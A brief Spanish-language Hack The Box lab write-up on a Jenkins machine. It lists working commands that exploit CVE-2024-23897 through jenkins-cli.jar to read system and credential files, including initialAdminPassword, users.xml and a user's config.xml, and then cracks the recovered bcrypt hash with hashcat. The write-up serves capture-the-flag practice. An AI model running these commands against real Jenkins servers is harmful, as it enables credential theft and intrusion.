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#htb #linux #jenkins #rce #hashcat #cracking #writeup
Jenkins
El .jar para usar la cli de jenkins está en :
bash
wget http://10.10.11.10:8080/jnlpJars/jenkins-cli.jarCVE-2024-23897
bash
java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' help '@/etc/hostname' abash
java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' help '@/var/jenkins_home/user.txt' aJenkins suele guardar la contraseña iniciar en:
bash
/var/jenkins_home/secrets/initialAdminPassword
java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' help '@/var/jenkins_home/secrets/initialAdminPassword' aUsuarios en:
bash
/var/jenkins_home/users/users.xml
java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' reload-job '@/var/jenkins_home/users/users.xml'Y credenciales en :
bash
/var/jenkins_home/users/jennifer_12108429903186576833/config.xml
java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' reload-job '@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml'bash
hashcat -m 3200 jennifer_hash --user /usr/share/wordlist/rockyou.txt